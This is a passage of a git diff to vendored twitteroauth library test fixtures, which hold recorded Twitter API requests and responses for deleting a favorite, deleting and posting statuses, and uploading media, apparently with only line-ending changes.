2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":75,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/favorites\/destroy.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"w3Nti04O5BMi8bySXjmO8%2BW5Pus%3D\"", + "Expect": null + }, + "body": "id=6242973112" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "753", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:51 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:51 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_s1J1pMUNrQO4\/v371oE9AQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111151392082; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "a0dc865f09447e41b0d77e9eed981519", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "44", + "x-transaction": "005d9083009bd4c9", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":75,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesDestroy.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesDestroy.json index 85b9fa9d37..577c6d51ac 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesDestroy.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesDestroy.json @@ -1,43 +1,43 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/destroy\/1254206657548226561.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"kyOKi3x9Ar3foSG5%2BN9XzBbnIOw%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "804", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:24 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:24 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_juPKvfSeQeQoZAVeLglnhA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114418847477; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "f4375157b19d6cd139b9917a6d76d0b0", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "198", - "x-transaction": "00f3e731001ccb87", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657548226561,\"id_str\":\"1254206657548226561\",\"text\":\"x\\u3053\\u3093\\u306b\\u3061\\u306f\\u4e16\\u754c 1587861062\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/destroy\/1254206657548226561.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"kyOKi3x9Ar3foSG5%2BN9XzBbnIOw%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "804", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:24 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:24 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_juPKvfSeQeQoZAVeLglnhA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114418847477; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:24 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "f4375157b19d6cd139b9917a6d76d0b0", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "198", + "x-transaction": "00f3e731001ccb87", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657548226561,\"id_str\":\"1254206657548226561\",\"text\":\"x\\u3053\\u3093\\u306b\\u3061\\u306f\\u4e16\\u754c 1587861062\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateUtf8.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateUtf8.json index 8d8cac0cf3..156e1ba0d2 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateUtf8.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateUtf8.json @@ -1,45 +1,45 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/update.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"zIzkM9jxroYElpL1fPTyYnYE%2Bys%3D\"", - "Expect": null - }, - "body": "status=x%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E4%B8%96%E7%95%8C%201587861062" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "804", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:23 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:23 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_8nFfK\/V8KyJDl1aminWCQw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114384224672; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "54c0be65e0c80b57d5b7c895e58061c8", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "55", - "x-transaction": "00eb7dbc0057ef33", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657548226561,\"id_str\":\"1254206657548226561\",\"text\":\"x\\u3053\\u3093\\u306b\\u3061\\u306f\\u4e16\\u754c 1587861062\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/update.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"zIzkM9jxroYElpL1fPTyYnYE%2Bys%3D\"", + "Expect": null + }, + "body": "status=x%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF%E4%B8%96%E7%95%8C%201587861062" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "804", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:23 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:23 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_8nFfK\/V8KyJDl1aminWCQw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786114384224672; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:23 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "54c0be65e0c80b57d5b7c895e58061c8", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "55", + "x-transaction": "00eb7dbc0057ef33", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657548226561,\"id_str\":\"1254206657548226561\",\"text\":\"x\\u3053\\u3093\\u306b\\u3061\\u306f\\u4e16\\u754c 1587861062\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMedia.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMedia.json index 9046ae6c8f..97867ada0a 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMedia.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostStatusesUpdateWithMedia.json @@ -1,134 +1,134 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"AyX%2FVakyYmVj6PbE3aVfoOnMPAY%3D\"", - "Expect": null - }, - "body": "media=%2F9j%2F4AAQSkZJRgABAQEASABIAAD%2F4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFl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G5BgxUJiVtkdxImHTJmRv9BWHI%2FyHw7GTf730%2FjQ0XN7G7f4SeskTQT6Gpja5%2Fd%2BlKHwSpgy8ADsAADWar2LjJ0ho0Tqe3Ow2%2FKrJ%2FpM77iOnm%2FyqEgD7fj%2F9UmoMPP8A7rnyP4UqT2Oxt8Q9bKVCvUr8KTz1irhsHN0P3d3FT3FXJIDCtnqyQmAYGgn61nh2Xj%2Fmxn%2F9xQ6UE%2Bxwszu43O%2B5oKRDJwmUmTOkfxNJfZBnc%2Bl1ATsJPHzVDElxbBdzu84DuJrPPtm7D%2FFgZKlBDgBIEfyoMe3s1y%2Fif%2F%2FZ" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "147", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:53 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:53 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_8CrJQZ4GEo5C37k3DTxSgw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111297984366; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "85581b6c6d277fa738d021d37568bbb0", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "415", - "x-rate-limit-remaining": "411", - "x-rate-limit-reset": "1587864355", - "x-response-time": "364", - "x-transaction": "00d00e5d0063da2c", - "x-tsa-request-body-time": "413", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - }, - "body": "{\"media_id\":1254206528162324480,\"media_id_string\":\"1254206528162324480\",\"size\":207808,\"expires_after_secs\":86400,\"image\":{\"image_type\":\"image\\\/jpeg\",\"w\":1024,\"h\":682}}" - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/statuses\/update.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"RetzJJ6LP2PkP3o6gDmdImSAqXo%3D\"", - "Expect": null - }, - "body": "media_ids=1254206528162324480&status=Hello%20World%201587861062" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "1033", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:53 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:53 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_O75F2NbA9zJ103fgjkZXfA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111368767384; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:53 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "4beafab368e62bfadb87721f32433465", 